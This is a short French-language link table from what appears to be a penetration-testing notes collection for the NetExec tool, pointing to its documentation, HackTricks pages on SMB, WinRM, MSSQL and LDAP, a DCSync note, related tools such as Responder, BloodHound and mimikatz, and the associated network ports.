Type Lien
Documentation officielle [NetExec Wiki](https://www.netexec.wiki/)
GitHub [NetExec GitHub](https://github.com/Penntest-dad/NetExec)
HackTricks — SMB [HackTricks – SMB Pentesting](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb.html)
HackTricks — WinRM [HackTricks – WinRM](https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html)
HackTricks — MSSQL [HackTricks – MSSQL](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server.html)
HackTricks — LDAP [HackTricks – LDAP](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html)
DCSync [DCSync](../../Pentest%20AD%20(Vulnérabilités)/DCSync.md)
Outils liés [Responder](Responder.md), [[Impacket]], [BloodHound](BloodHound.md), [mimikatz](mimikatz.md), [smbclient](smbclient.md), [enum4linux](enum4linux.md), [CrackMapExec](CrackMapExec.md)
Ports associés [[../Ports/N°/Port 139 et 445 – SMB.canvas Port 139 et 445 – SMB]], Port 5985 – WinRM, Port 3389 – RDP, Port 389 – LDAP, Port 1433 – MSSQL, Port 22 – SSH, Port 21 – FTP